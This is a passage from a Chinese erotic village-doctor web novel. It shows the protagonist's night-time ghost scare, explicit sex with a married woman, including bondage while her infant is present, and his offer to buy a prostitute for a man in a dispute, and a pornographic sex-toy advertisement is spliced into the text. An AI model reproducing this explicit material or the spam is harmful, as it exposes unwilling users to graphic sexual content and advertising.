热门搜索


[乡村]乡野痞医(全)-14

  

第三回 惊魂一刻

那男人急了,下车检查车子,真是车子的链子断了,他气得朝着车子踹了一脚,推着车跑了起来。

「站住,给我站住!前面就是派出所,要是再不停我可要去叫人了。」

麻三没说谎,前面不远处就是城郊的派出所。

那男人想了想,朝着后面不远的麻三道:「大哥,算我求求你了。我要赢回钱不容易,我全靠它明天再捞呢!我老婆都气得回娘家了。就这么回去,我连买礼物请老婆回来的钱都没有,你放我一条生路吧!」

麻三也着急啊,计划快要落空,这对于他来说事关存亡。他再也等不了了,几个箭步追了上来,上气不接下气道:「我说你净说屁话,我还要你放我一条生路呢!快,快把车子给我。」

说着麻三就拉着车子,但是他却感觉不对劲。车子后面绑着两根木条,好像是拖什么东西用的。仔细看去,这辆车子没有自己的车子新,根本不是自己的车,他心里顿时凉个通透。

「大哥,你就行行好吧!我们可是赌博啊,愿赌服输,何必再这样呢?再说,这车炼条都断了,拿去修也不只这些钱了。」

麻三虽然确定这不是自己那辆车,但是事到如此也只好继续下去,心想:如果没猜错的话,这小子应该很怕要车的人,黑灯瞎火的,谁知道对面是谁啊?就唬他吧。

想到这里,麻三压着嗓子,恶狠狠地道:「你听好了,再不松手别怪我不客气,我可要下手了。」

说着就摆了个准备动手的招式。

那男人吓得一哆嗦,说道:「好,算你狠,你给我记着!我算是看清你们了,你们没一个好家伙,看我以后不整死你们。」

「还不快滚。」

麻三哪里还管那么多,看那小子吓得连滚带爬地跑了,心里开心极了,推着车子就往回走。

公路上没有人,偶尔有一台小轿车疾驰而过。前面不远处就是刘大根家的电焊铺,麻三早就想好了,要是车真不能骑了就卖给刘大根,怎么说也能弄到几块钱。

到了电杆铺,却见里面没有亮灯,麻三急步走过去。他把车子停在门口,侧耳听了听,有水声。他把手拢起来靠在耳朵旁再听了听,这时有人从后面一下子抓住他拎了起来。

「好啊,小子,三更半夜的又来偷听啊?这回可抓到你了,看我不把你焊到我们家门口,当狗使唤!」

麻三吓了一跳,一听是刘大根的声音,他连忙叫道:「大根,是我。全进,全家庄那医生,你忘记了吗?」

「哼,你可真能吹牛!全医生天天在家里忙着看病,哪有你这么闲,听人家上床睡觉。」

说着刘大根抓住麻三的领子往后一拉。麻三没站稳,「啪」的一声摔倒在地上。

刘大根的电焊铺前面到处都是铁棍子、生铁屑,从来没收拾过,麻三这一摔正好撞上一根钢管,他大声叫道:「大根,我真的是全医生。你打开灯看看,我的腰啊!」

「你想得到美,现在电费多贵,我们睡觉都舍不得开。快滚,要是再让我抓到你,看我怎么收拾你。」

旁边不远处有一个人看到这种情况,嘿嘿一笑,走了。

「干嘛?在吵什么?你不累我很累,快点睡吧。」

这时屋里的灯亮了。

麻三看到大根老婆只穿了件背心,胸前鼓鼓的十分显眼,下身裤裆里隐约可以看到毛茸茸的,麻三心里咯登一下。

「还不快点进去,让这小子都看光了。」

大根看着麻三望得起劲,朝着他后背就打去一巴掌,疼得麻三大叫不止。

「大根,我真是全医生,我帮你用奶水看过眼,你忘了吗?」

这话一出,大根老婆立刻从里面跑出来,拉住麻三道:「大根你干嘛!这是全医生啊!真是的,你也不看清楚。」

刘大根看着大根老婆拉着麻三一副心疼的样子,气得转头道:「这是色狼,不是全医生,刚才我明明看到他在这里偷听,抓个现行。你……」

麻三赶紧道:「大根,我真是全进。刚才我以为你们睡了,怕打扰到你们,所以才听听看。车子的炼条断了,想让你帮我修一修。」

大根老婆拉开灯,整个屋里都亮起来,大根也看清楚了,的确是全医生。

「大兄弟,你的车子怎么了?」

「刚才在看电影,一转眼车子就不见了。后来我一瞧,一个人正骑着车子离开,我拼了命地追,要不是炼条断了,还真难追到呢!」

「炼条断了我们也接不了啊,我家里现在也没炼条换。」

大根老婆赶紧道:「要不你先骑我家的自行车回去,改天再过来拿你的车子。」

「不用了,这辆车子也该报废了,我也不想修了,不划算。你帮我秤秤看能卖多少钱。」

大根看看大根老婆,大根老婆也看看他,说道:「既然这样,反正我们这里也要收废铁。给你秤一下,一块一斤怎么样?」

「行。」

称完之后大根给麻三五十块。麻三要走时,大根老婆还有点不好意思地道:「本来该请你吃饭的,但现在也太晚了……」

「不用了,这里离我家也没多远。那我先走了,你们早点休息。」

「好,有空过来坐坐。」

大根老婆诚恳地说着。

大根一听不乐意了,拉着她就进屋了。

「好什么,让我先玩玩再说。」

说着大根抱起大根老婆到床上,唧哇乱叫起来。

麻三手里拿着五十块,心里却空荡荡的。宣传单没了,计划也泡汤了,这可如何是好啊?要是抓到了凶手,非好好整他不可,麻三边走边咒骂着偷车的人。

前面不远就是放电影的操场,此时还有亮光,应该是在收拾摊子。麻三越看越火大,真不知道该怎么发拽。麻三从旁边的小道走过去,小道斜着直插到田地里。这条小道按道理说离他家里更近,但是路况不好,高高低低,平常都是下田干活的人才走这里。

麻三在这路面上深一脚、浅一脚走着,风呼呼吹着,树叶被刮得沙沙响。黑天漫地,风声阵阵,他感觉后背凉凉的,脑子里出现很多鬼狐精怪,越想心越凉、越想心越怯,他忍不住加快脚步,望着被风吹得深一窝、浅一窝的麦田,总感觉有幽灵在身边似的。

前面不远处有几个突起的坟丘,高出麦田。大株的毛毛草伸着毛茸茸的草头随风而摆,相互摩擦发出「嗤拉、嗤啦」的声音。漆黑的夜里,单调的脚步声,像是有什么东西如影随行。就在他仔细听的时候,听到有自行车的声音,莫非有什么鬼魂来索命来了?

麻三越想越害怕,但是后面自行车的声音却是真真切切。要不是有什么异物的话,怎么会在三更半夜的跟在后面?想到这里,麻三便停下脚步,自行车的声音也停住了。他听得很清楚,应该是在身后不远处。他急忙转身看去,身后什么都没有,只有大片的麦地和随风而舞的麦浪,哪有什么人啊?

就在这时,他猛地听到旁边有几声杂音,两个白色的东西飕一下从麻三脚边蹿过去。麻三只穿了一件松紧带裤,感觉非常真实,毛茸茸的一晃而过。他心头一惊、双腿一软,一下子坐在地上。

「妈呀!」

麻三瘫坐在地上,用手支着地勉强站起来。麻三刚刚站起,一阵急剧的风吹过来,他忍不住往那突起的坟头望去,只见两团蓝色的、忽有忽无的鬼火飘起来:「鬼啊……」

麻三强撑着发软的双腿踉跄而逃,更可怕的是那自行车就像拴在他身后,一直跟着他。麻三虽然懂医,但是重生前的他可只是一个乞丐,对于鬼神之说深信不已,他大声叫着:「别过来,再过来我跟你拼了……」

但是谁又会听的呢?风变得刺骨寒冷,飕飕吹个不停,两棵粗大的梧桐树叶子沙沙响,像是磨拳擦掌一样,自行车的喀啦声把整个黑夜装扮得惊悚极了,似乎麦地里或坟头上会钻出一轻青烟,瞬间幻化成厉鬼,张着血盆大口,龇着尖亮獠牙,面目狰狞地扑过来……

「全进……」

就在麻三胡思乱想,心里极度恐惧的时候,竟然响起他的名字。他再也受不了了,再次瘫在路面上。窄窄的乡间小道、两旁晃动的麦杆、沙沙的风声,麻三只能嗅到那青涩的麦味,听着「怦怦」的心跳,四肢无力地等待孤魂野鬼的折磨。休息一下 广告时间:还在靠双手?怎么能够爽?论坛声誉保证!健康防早泄自慰锻炼器 真实口交快感体验 火热推荐!保持射精感30分钟,爽到晕 自慰全自动化 12种不同性爱体位震荡频率 点击进入

「别过来……」

他只有重复着一句话,真不知道下一步会怎么样。

「全进、全进,是我。」

麻三此时哪里还听得进去,总感觉输入脑袋的讯号都变了味。这时自行车的声音越来越近,麻三想动却动不了,双手费力捂着耳朵,嘴巴哆嗦着说不出一句话。「全进,是我,你还认得我吗?」

麻三还是忍不住抬头望去,他感觉到一阵淡香拂鼻而过,随即有一双手插进他腋下搀起他。他抬头一望,只见面前黑发飘飘,几乎看不到脸,他呆了一下,昏阙过去。

也不知过了多久,麻三醒了过来,感觉头疼得很。一睁眼,只见自己躺在一张大床上,屋子显得很旧,借着昏黄的灯光,他看到墙角处有几张破烂的蜘蛛网轻轻颤动着,屋里摆设简单干净。

就在这时,他听到一个女人的声音,心头一惊,心想:我不会是又重生了吧?我可真不舍得那个美好的世界。如果真的回到从前,那不如死了好。

但是听着女人的声音,看着这个简洁干净的农家,应该没那么惨,他睁开眼望着身边说话的女人。

头很疼,他用手拍了拍,仔细想了想,眼前这女人很面熟,却怎么也叫不出她的名字。

「来,我给你冲了碗红糖水,喝了吧。」

那个漂亮的女人端起碗在嘴边吹了吹,用小勺子@着糖水送到麻三的嘴边。麻三觉得这好像是刚刚来到这里时看到老婆孔翠的情况,难不成她是孔翠?但是眼前这个女人跟孔翠长得完全不一样啊!

「头还疼吗?也不知道你喜欢喝什么,只好给你加了点糖,不知道你喜不喜欢。」

麻三闻到一股奶腥味,但是身体需要,他还是嘴一动吸了进去。水不烫不冷刚刚好,入口绵甜、可口,他忍不住一口气喝了半碗,感觉有精神多了。但他又想起昏厥前那可怕的情况,莫非到了女鬼的家里?他猛地想起看过的鬼怪故事里,貌美如花的女人是虫蛆乱钻的荒野女尸,香甜可口的美味食物是蟑螂蛆蚁之类的生食。想到这里,麻三奋力仰起身,差点呕吐出来。

那个女人扶了麻三一下,道:「进哥,你忘记我是谁了吗?你再好好看看。」

麻三没敢看那个女人,而是先看这个房子,虽然天花板上有几张破蛛网,但是地上的摆设都显得光亮,家具、饭桌、小凳子整整齐齐,莫非是自己想太多了?

他努力抬起头看着说话的女人,生怕她一转眼变为可怕的面孔。

「亏你还是学医的,胆子这么小。」

这么一说,这个女人应该跟自己满熟的,但会是谁呢?他看到女孩长得挺白净的,圆圆的小脸气色很好,杏仁眼、高挺的鼻子和可爱小巧的小嘴,虽称不上绝美,但是能让人眼睛一亮,特别是胸前的大乳显得大饱满,看来应该是个还没完全退奶的女人。

「小姗?」

他嘴里试探性地叫了一声。

那个女人一听,脸上掩不住兴奋道:「进哥,没想到你还记得我。」

麻三虽然猜到了,但是感觉还是很陌生。他看到那胸部一大一小,让他猛的想起第一次来这里借奶的事。

「呵呵,记得,不过好久不见,快认不出来了。」

说着麻三便坐了起来,看看周围又看看正搂着自己的小姗,心里真是五味杂陈。

「是啊,好久不见了。看到你过得很好,我就放心了。」

「呵呵,有什么放不放心的呀?对了,你老公不在家吗?还有你婆婆,我们这样被看到不好。」

小姗笑道:「我婆婆死了。」

这话一出,可把麻三吓得要死,赶紧离开她的怀抱。

「你别怕,是病死的。现在我老公去外地干活了,我就带着儿子二人在家,所以你不用担心。」

「啊,死了?我记得她身子不是挺硬朗的吗?」

「呵呵。她是表面硬朗,其实那是老病根了,检查出来的时候已经治不好了……」

麻三这才缓过神来,心想:还好。

小姗看看旁边睡着的孩子道:「我婆婆刚死的时候这孩子天天闹个不停,人家都说我婆婆上吊死后附我儿子身上了,可把我吓得……」

话一出口,麻三心里咯登一下,一听到上吊他心里就发抖:「怎么又是上吊?到底怎么回事啊?」

小姗看着麻三吓成那样子,捂着小嘴笑了:「进哥,你不用害怕,这事都过去好久了。我婆婆不是查出来没办法治了吗?她就在堂屋里上吊了,所以我一直都不敢在正堂房里睡,总感觉她要来寻命似的。那门打从她死后我一直没开过,我心里害怕,总想找个人来我家陪陪我,别人也都怕得不敢来我家里来玩。昨天晚上大家不都去看电影了吗?我也跟着去了。你看,你的自行车在这呢!」

麻三一听,望着停在门口的自行车,道:「你是怎么找到我的车的?真是谢谢你。」

「进哥,是我想跟你开个玩笑而已。那车子是我推来的,本来想叫你,你却去追另外一个人。我怕喊你会有太多人注意,所以不好意思喊,心想你反正会回来,我就在河边等你。当你回来的时候我差点睡着了,听到有脚步声,我就赶紧去追你,想给你个惊喜,没想到你竟晕过去了……」

麻三听完后真是羞愧难当,当着一个女人的面吓晕过去,不知道小姗会怎么笑话他?

一时间两个人变得沉默了,谁也找不出适合的话题。麻三干着急,偷偷抬眼看看小姗,只见那两只乳房越胀越大,就像马上要胀爆似的。

「你……」

「什么?」

小姗问道。

麻三看小姗不像是爱开玩笑的女人,还是聊点正经的好了:「你老公不在家,你自己过得惯吧?」

小姗呵呵一笑:「有什么习不习惯的,他在家里我更睡不安稳,伺候了小的伺候老的,现在倒觉得轻松不少。」

话说到这里,小姗忍不住伸手往乳房上摸了一把,看到麻三在看她,脸色通红道:「不好意思,胀得有点痛。」

「没事,是不是断奶了?」

麻三的眼还是舍不得离开,他想到了那天借奶时那一口接一口的甜乳,现在她的乳房比之前好很多,大小没有差得那么明显了。

「是啊,才断没几天,还是胀到受不了,真想让他吸两口。有时会湿一大片,难看死了。」

「要不我拿点药帮你退奶?」

麻三望着水嫩嫩的小姗,说胖不胖、说瘦不瘦,恰到好处。

此时他想到在找车的时候发的誓,要是抓到偷车的人非得好好整整他,真没想到凶手却是这么一个风姿犹存的美丽少妇。小姗那分羞涩、腼腆让他垂涎三尺,恨不得现在就扑上去。

「什么药,管用吗?」

「当然管用。不瞒你说,我虽然治不了大病,但是对治疗疑难杂症十分在行,更别说只是退奶而已。」

小姗显然很激动,急忙道:「那你快说是什么药方,我们现在就去拿,我真的受不了了。」

说着她又忍不住摸了一下乳房,看样子挺难受的。

麻三也看到她胸前淫了一点。

「呵呵,不用那么急,这药我开给你就行了。你要是不方便我可以带过来,反正我以后也经常会去城里。」

「去城里干嘛?你把店开到城里了?」

「没有,我老婆在城里开了店,所以有时间我就要去那里看看。对了,你们家里有没有麦芽啊?」

麻三说着就准备下床,小姗帮他把衣服披上,照顾得无微不至。

「怎么了?」

「如果能找到麦芽就好办了。炒麦芽六十克,加红糖适量,放进锅内加水煮开,去渣饮用。每天一次,每次一碗,连服两个星期就可以了。」

「哦,明白了,谢谢。」

「谢什么。要是没有的话,你去我家里拿也行。」

「嗯。」

小姗看着麻三起身,羞S地道:「怎么?你要走吗?」

「是啊,我看天还没亮,早点走。万一你老公再杀个回马枪,我们就解释不清了。我记得你说过你老公可是个很凶的人。」

麻三知道姜银的情况跟她差不多。全大头也不是个东西,看老婆比看家里的猪还紧,只差没在老婆身上下把锁,脚上戴缭铐了。

「呵呵,进哥,听你说的。他这回不是在城里打工,而是跟着别人到外地去,不到十天半个月肯定不会回来的,你就放心待在这里。你累吗?我帮你按摩吧。」

小姗也顾不了得那么多了,从后面抱住麻三的腰。

麻三感觉腰被束得很紧,差点喘不过气来。他拉了一下小姗的手,感觉她的小手滑滑的,摸起来十分舒服。

「你知道吗?进哥,自从第一眼看到你,我就把心交给你了,所以那一次我们的结合,让我更加欲罢不能。你抱着我亲昵的样子,抱紧我汗流不止的情景都让我夜夜思念。今天我终于见到你了,进哥,你能不能再伤害我一次……」

麻三听……她诚恳的真情流露,何尝不为之感动呢?他在想肯定定她老公太不懂女人了,不是把她当做发泄的工具,就是完全不顾她的感觉,才使得她这么迷恋自己。

「我真的非常对不起你,那天我也是情不自禁,望着你的身体像是着了魔似的。我真的很惭愧,对不起,这次我再也不能犯这种错误了。」

麻三嘴里说着违心之论,想看看小姗会有什么反应。可是对于小姗来说,这几乎是一个打击,她没想到麻三会拒绝,可是越是这样她心里越喜欢麻三,她觉得这个男人不但床上功夫好,而且心也很正直。想到这里,她嘴里哼着声,手却不老实起来,慢慢把手移到麻三的下身。

麻三感觉下身像是一窝蚂蚁在爬动,痒得受不了。他拉住小姗的手顺着裤腰探到裤子里面,小姗心里高兴极了。

小姗努力用手在麻三下身摸着,麻三又想尝试一下被动的感觉。小姗就像一只饥渴的母狮子,把麻三推到床上,顺势趴在他身上。二人四目相对,相互听着对方的心跳,气喘吁吁的二人心里都紧张极了,被眼前突然的激情撞击得全身都兴奋起来。麻三感觉到小姗慢慢解着他的扣子,扣子解开之后感觉到凉爽极了,内心那团欲火却烧得越来越烈。眼前小姗那硕大白嫩的双乳随着身子晃荡着,看得他春心荡漾,真想去抓两把,但是他忍住了,他明白这事越忍,等一下玩得越疯。

「进哥,你就好好享受我的伺候,你喜欢用什么样的姿势呢?」

麻三望着她,心里乐极了,一股浓烈的奶香让他完全陶醉其中。小姗把他脱得只剩下一件小内裤后,开始解自己的衣服。花边衬衫上的双排扣子慢慢被解开,两只硕大的乳房渐渐映入麻三的眼帘。昏黄的灯光下,两只乳房看上去粉嫩极了,小乳头硬挺挺的。

小姗接着脱去宽松的裤子,里面那件粉色内裤包着阴部,弯曲的阴毛冲破薄薄的内裤露出尖锐的毛尖,细嫩的皮肤让麻三欲念大增,真想把她拉来好好捅上几下,感觉一下肉体的碰撞滋味。

「哥,你的家伙好大,小妹妹怕疼。」

「不用怕,你先用嘴巴量量,看看够不够大。」

麻三说着就把小姗的头按到硬如钢管的鸡巴上。

小姗看着眼前这根粗得惊人的东西,心里又爱又怕。好久没有被男人的东西捅过,她看着看着便开始流出水,再也坚持不下去了,伸出手指在自己的嫩穴抠了几下,便把内裤脱了。

小姗望着麻三的大鸡巴,伸出舌头,对准龟头上的马眼舔了舔。

麻三感觉到痒痒的,忍不住呻吟一声。小姗听他的叫声也兴奋极了,她伸出舌头裹起龟头用力吸起来,直吸得麻三整个身子都拱起来。

「好好吃。进哥,我好喜欢吃你的小热棍。」

她边说边吸,另一只手还不停自摸着,比麻三先入佳境,「哼哼」浪叫着。

第四回 淫荡小姗

饥渴的小姗就像发疯似的玩弄着麻三的下身,在她看来女人主动确实是件很舒服的事情。舔着舔着,麻三控制不住便把她压在身下,她玉白粉嫩的身子被麻三手嘴并用地伺候着,她也顾不得女人该有的矜持,媚态百出、娇嚷声声。

女人越浪男人越喜欢。麻三骑到小姗身上,把阴茎塞进去她嘴里捅了一会儿后,他索性把她的手脚分别绑在小木床上。

被绑着的小姗心想:他不是变态吧?于是惊慌地叫道:「进哥,你要干嘛?我好怕。」

「没事,哥让你尝尝新鲜的。」

说着麻三便伸出手指轻轻划过她光滑的肌肤,一点点地往上攀,嘴里不停道:「小心哦,蚂蚁上树啰。」

麻三的食指与中指像散步似的从慢慢移到小姗的会阴处、蜜穴、小腹、乳房,再游走到脸颊、耳边,最后插入发间,步步都让小姗感觉到奇痒无比。拼命想挣扎的她晃着身子叫着,时而咬着鲜艳的嘴唇,时而噘嘴凝眉,一副痛不欲生的样子。两只粉白的乳房更加立挺,两粒大大的乳头硬挺着。

这时麻三想起高春玉用乳交把自己弄得高潮的情形,忍不住来了兴致。到处找了找,没找到油之类的东西,忽然想到女人下身蜜穴里的淫液,他喜上眉梢,轻轻拉下小姗的小内裤玩弄起来。两片红通通的阴唇翻着小肉片好像正等着他的到来,湿淋淋的爱液直往外流。他忍不住吸了一口,真是甘甜可口。被吸起的大阴唇颤抖不已,淫水也滋滋外流。

「进哥,别这样,快插我、操我吧!小妹妹太爱你的大榔头了,快捅死我吧!求你了。」

「好,哥再吸两口。」

说着麻三朝着阴道口又吸一口,这时一股热流被吸过来。

望着小姗情不自禁要自慰的样子,麻三把那口淫水吐到她玉白的双峰之间,爱液顺着深深的乳沟流下来。麻三用手一抹,感觉爱液才是最好的润滑液,还带着淡淡的芳香,手刚接触到皮肤就差点滑下来。

麻三把大榔头朝着鲜红的肉洞插了两下,小姗感觉真是爽到家了,嘴里发出诱人的叫床声。小木床也受不起二人的折腾,发出「咬歧呀呀」的声音。

麻三抓起小姗的双乳,将刚刚拔出的鸡巴插进拢起的乳洞里,加上淫水的滋润,乳洞里滑溜溜‘软绵绵,似乎比阴道更舒服。

「舒服吗?要不要再深点?」

「要,快插我的小嫩屄吧!嫩屄快要崩溃了,进哥。」

话还没说完,麻三便把小姗的头拉了过来,大榔头穿过乳洞里又挺进她的嘴里,这种感觉麻三已经好久没有体会到了。此时他真想念那个绝世美人高春玉,那女人的功夫真是了得,小姗的乳房当然没法跟春玉的乳房比,但是这一大一小的乳房倒有几分新鲜感。

小姗的乳头硬挺着,两只白净的乳房被插得有几分绯红。一条缝穿过去开成一个洞,这种线与洞之间的变换,让麻三越来越钟爱,再望着他的大鸡巴捅进樱桃小口时,小姗的表情更是让他亢奋不已。

小姗越弄越受不了,四肢被挪着的她极想重获自由,把身上的男人压在身下好好享用,可是麻三变换着各种姿势玩弄着她,最后大鸡巴在她温暖潮湿的阴道里射了出来。

这场肉体之欢可把小姗折腾得四肢无力,她瘫在床上一动也不动,身体还不停颤抖着,阴道流出浓白的精液。

麻三细心地拿起旁边的卫生纸帮她擦了擦,放在她的嘴边道:「你闻闻,这回都放好久了。」

「嗯,能看得出来。」

小姗说着伸出小舌头舔了一下,咽了下去。

「好吃吗?」

「不好吃,想反胃。不过你身体里的我也想尝尝,嘿嘿。」

从小姗调皮的笑容依稀能看得出她的纯情,麻三忍不住亲了她的小嘴一下。

「只要你想吃,有空就让你尝尝。我这里一天量产几亿呢,哈哈。」

「好啊,我就是怕你没时间过来,我也不想给你找麻烦。男女之欢就是一时之欢,做完爱之后谁不是得过自己的生活呢?要是把你们小两口弄得不合,我也于心不忍,你说是吗?」

麻三点了点头,心想:没想到小姗这么通情达理。

麻三望着旁边睡着的孩子,说道?「这孩子可真听话,我们做了这么久都没醒。」

「他习惯了吧。」

「习惯了?难不成你们天天……」

小姗一听,咯咯笑着道:「不是啦,我儿子有个怪毛病,家里吵着倒是睡得安稳。我那老公爱打牌,他在家的时候家里经常有不少人,所以我们这一点动静倒让他睡得很安心。我老公也没你这么坏、干的时间这么长,当然我也没那么大的兴趣。要是我老公换成是你,天天做爱都有可能哦!」

「傻妹妹,天天做就没那么想了。就得这样隔上几天才来一回,那滋味才好。」

「就你行,我觉得这段时间没见,你越来越厉害了。之前老是想着你很懂得刺激女人,但是这次倒觉得有一种难以自拔的快感,说不定下回又有什么新花样了。」

麻三看看天色要亮了,便准备回家。

这时也不知道是没了声音的缘故还是别的原因,小孩忽然「哇哇」大哭起来。

小姗赶紧把儿子抱起来,指着麻三道:「来,儿子,看看这个叔叔帅不帅?比起你爸帅得多吧?而且他刚才把你妈妈伺候得快要死掉了,你以后也要学学这位帅叔叔哦。」

麻三看着她可爱的样子道:「小姗,我可不是什么好人,把你都上了还说我好。莫非你想让你儿子也当个风流人物啊?」

「什么呀!虽然风流,但是把老婆伺候舒服,也是一种责任啊!你想想,一个女人一辈子都不清楚什么叫高潮,岂不是白找男人了?风流一点没关系,能快活就行。」

说着小姗便把儿子摆在胸前喂奶。

说来也奇怪孩子就是不吃,哭个不停。

「这孩子怎么回事啊?」

小姗又把乳头硬塞到他嘴里,小孩哭得更厉害了,双手抓着那粒乳头又哭又闹。

「你儿子肯定是觉得味道不对了,你还是把乳头洗洗吧。」

小姗「噗哧」一声笑了,指了一下儿子的鼻尖,道:「你还真灵光。好,妈洗洗再喂你吃。」

说着对着麻三笑道:「看来我儿子长大也是学医的命,这么爱干净。」

「哈哈,你的乳房被我捅得红通通的,可能真的有味道,洗洗对孩子没坏处。」

小姗下床倒水,麻三看天色还算早,便帮着小姗洗起乳房,边洗边逗,下身又硬了起来,二人趁机又疯狂地站着做一回。当二人做完之后才想起喂奶的事,看向小孩的时候,只见他正趴在床上,瞪着两只溜圆的大眼睛看着二人。

二人恋恋不舍地分开,小姗抱着孩子,依在木门上望着麻三远去。麻三头也没回,骑上车子走了。

从小姗家到全家村只有二里路程,早起的人们都已经准备好早餐在吃饭了。大老远望去,炊烟袅袅,一股烧火的味道钻进麻三的鼻孔里,让他倒真感觉饿了。想起回到家里也没人做饭给他吃,忘记在小姗家吃了饭再回去,但是都走到这里了,哪有再回去的道理?

路上没几个行人,麻三感觉有些疲惫了,却忽然想起来还没办正事,心里顿时有些发火。看来女人还真是累赘,要不然他今天就可以让赖四光死得很难看。可现在什么事都还没干,印的两百份传单还绑在后座上呢。

麻三想了想,还是先回家吃顿饭再说吧。

回到家里,麻三进厨屋里煮面,他看病的手艺是有,但是做起饭来就显得很陌生了。煮了水把干面条下进去,快熟的时候才想起来要加油、加葱花。

搞了半天,把全部东西都捞到碗里,夹起来往嘴里一送,他差点吐了出来。清汤白水的面条什么味道都没有,他拍拍脑袋,赶紧加了盐、酱油、味精、麻油等调味料,但是吃起来还是没味道。

麻三心想:老婆在家里多好啊,至少不用为吃饭的事发愁,况且晚上还可以与老婆风雨几番。但是现在老婆在店里忙个不停,哪里还有间心回家煮饭。

麻三刚吃完饭,便接到孔翠的电话说今天开业,现在刘大发那边都有人过来布置了。麻三心想:这个刘大发还真用心,既然老婆那里开业,当老公的当然不能缺席。便拖着疲备不堪的身子去了服装店的剪彩现场。

麻三到场的时候发现就只差自己了,刘大发、李欣雅、李燕还有那对可以气死人的兄嫂也都到了。

看到麻三骑着车子过来,刘大发笑着迎过来,一身盛装的孔溪也走过来。

「看看你,我姐的事你一点都不在意,这么晚才来。」

「我这不就尽快赶来了吗?开业了吗?」

麻三看看现场,又是花篮,又是红布,还架几个礼炮,跟打仗似的。这么大的场面当然围了不少人,刘大发满脸笑容,好像这是他们家在办喜事似的。

「就等你了,等你来剪彩啊!快点啦……」

麻三跟着他们挤进去,这时他在嘉宾人群里发现那个令他魂牵梦萦的爆乳美人,高春玉。虽然养眼,但是此时他不能泄漏一点迹象,否则刘大发肯定饶不了他。

高春玉倒是很礼貌地走过来,伸出那只白净纤细的手,弯腰,酥胸半露,声音娇嗲地道:「恭喜你们开业大吉。」

麻三心里乐坏了,心想:这女人可真是个极品,端庄大方,要矜持有矜持,要淫荡有淫荡,面对这种大场面却显得这么淡然。

「谢谢春玉小姐,谢谢。」

刘大发见万事俱备,便走到前面,满脸喜悦咧着大嘴道:「现在我宣布欣雅服装店剪彩仪式正式开始。」

下面掌声四起,礼炮、彩花砰声不断,顿时整个场面变得十分热闹。在美妙的音乐声中,几个人一起拿起剪刀,手起布落,又是一片掌声。接下来孔翠也讲了一段话,在开业初期凡订制服装就送一块窗帘或小礼品,多买多送。

人们涌进店里,在里面挑挑选选。因为刚开业,欣雅便把她店里的货拿来这里销售,李燕还有那个新的助手都过来帮忙,这可把孔翠感动得都哭了。

望着这么热闹的场面,麻三心里很高兴,孔翠拉着他手激动得不知所措,更让妹妹联系好饭店,准备宴请大家。

时间过得很快,转眼间到了中午,当大家准备去吃饭时,猛地见到一个熟悉的女人。她穿得土里土气,头发凌乱,紧张的表情就像是被人非礼似的。

麻三一看,觉得还是得过去问个清楚,别坏了大家的兴致。

「老婆你们先去吃,我这里有个急诊。」

刘大发看麻三急成那模样,哈哈大笑,指着麻三道:「这就是生意人,为了钱不要命。好了,全进,我们就不管你了,以后我再单独请你。」

麻三心想:算你识相,这么说来,我还得好好玩玩你那漂亮的高春玉。

他赶紧笑道:「听你说的,刘总,这饭该我请。到时候单独请你,你想吃什么就请吃什么。」

「好,那你快去忙,我的肚子早就饿得咕咕叫了。」

「好。」

麻一二赶紧拦住那女人,说道:「大根嫂子,什么事这么急?」

大根老婆一看到麻三,急匆匆地道:「大兄弟,总算是找到你了!你可把我们害死了!你说让我们家怎么过啊?」

看她急成这样子,麻三摸不着头绪,便问道:「别急,什么事啊?是不是有人找事了?」

「对啊,就是昨天晚上你那辆自行车的事。今天大清早,我们刚刚开门就有一个人来跟我老公借火,没想到他看到你给我们的那辆自行车就疯了似的闹起来,说我们偷了他的车,现在非要把我老公送到派出所!我老公要我快点找你去说清楚。」

麻三一听,心想:这下可糟了。以为把车卖了就没事了,却没想到会发生这种事。

二人也没敢耽搁,赶紧骑车赶到大根家。这下可让麻三累死了,昨天晚上又惊又吓,之后又跟小姗肉搏两次,大清早被叫去城里帮孔翠剪彩,饭还没吃又被大根老婆叫回来。他感觉头晕眼花,一点精神也没有。

「我说嫂子,你把那辆车子还给他不就得了?到时候我再把钱还给你,你也没什么损失啊。」

大根老婆赶紧道:「大兄弟,这事没你说得这么简单,要是这么简单,我也不会急着找你了,那人说非得找到那个偷车贼不可。」

麻三心想:这小子还来劲了。但是他明白最不要命的就是赌徒,这些人好吃懒做,到处坑蒙拐骗,这家伙肯定就是想用这事敲自己竹杠。

麻三边骑边想着对策:「这小子不能跟他硬来,越硬他会越过分。」

「你们认识啊?」

大根老婆问道。

麻三摇着头道:「我怎么可能认识这种人?但是从昨天晚上简单的对话中,我就知道这小子不是什么好东西。估计是输了钱的那人没钱,就把车子抵给他,后来这车子就成我的了。」

大根老婆听得糊涂,疑惑地问道:「什么车子成你的了?什么意思啊?说来说去那车子是你骗来的?要知道那样,我们就不该相信你。」

「听你说的,我不会做出让你们为难的事情,但是有些事一、两句话说不清楚。」

「哎呀,快烦死了!他们在那里嚷嚷,我们还怎么做生意呢?不知道的人还以为我们真是偷车贼呢!」

麻三也知道这事闹大了,他还真是没有预料到。

到了电焊铺,铺子虽然不大,似是平常的生意却异常好,此时却是门口冷清,一个男人正站在那里指指点点,估计这个人就是昨天丢车的人了。

「嫂子别急,这事我马上就去搞定。」

「老公,大兄弟来了。」

话刚出,大根便从凳子上站起来,气呼呼地走过来:「大兄弟,你说这是什么状况啊?」

这时站着吵闹的男人也气呼呼地走过来,看到麻三便哼了一声,冷笑道:「好啊小子,趁着天黑,欺负我眼睛不好是吧?你说,我们认识吗?为什么把我的车子抢走。」

麻三此时倒挺冷静,望着这个气势汹汹的男人道:「兄弟,你过来一下,我有话跟你说。」

这个男人一看这小子不怕自己,心里直纳闷,心想:是不是自己的气势不足啊?

想到这里,他便大吼一声:「你别在这里装,你说这事怎么解决吧?解决好了好说,不如我的意,看我还不把你的摊子掀了。」

大根一听火大了,朝着他就喊道:「这个铺子是我的,你凭什么掀啊?」

麻一二看了看大根,把这个男人推到一旁,道:「兄弟别生气了,这事情纯属误会。昨晚我也喝了些小酒,具体做了什么事我也不清楚。」

「我不管,说吧,赔多少钱啊?我急着用钱呢!」

麻三一听,哈哈大笑起来道:「我就知道你不但需要钱,而且还需要女人是不是?听哥的,保证让你爽到天边。」

这个男人一听大吃一惊,怎么也没想到还有这样的人。他心里咯登一下,不免有些心痒。说实话,这样天天泡在赌桌上,老婆又对自己不理不睬,他的确是好久没有碰过女人了,难不成对方要花钱请自己去玩女人?

想到这里,他变得支支吾吾起来:「我有老婆,我可不想做那种事。」

「傻瓜,走吧,算我请你。这女人玩了之后,车子还物归原主,你看怎么样?你可是幸运得很,要是有别人请我的话,我不乐死才怪。走了……」

